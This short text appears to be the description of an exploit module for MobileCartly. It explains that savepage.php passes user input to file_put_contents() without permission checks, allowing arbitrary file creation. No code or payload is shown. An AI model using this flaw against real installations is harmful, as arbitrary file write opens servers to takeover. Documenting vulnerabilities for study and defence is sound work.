|
|
This module exploits a vulnerability in MobileCartly. The savepage.php file
|
|
does not do any permission checks before using file_put_contents(), which
|
|
allows any user to have direct control of that function to create files
|
|
under the 'pages' directory by default, or anywhere else as long as the user
|
|
has WRITE permission.
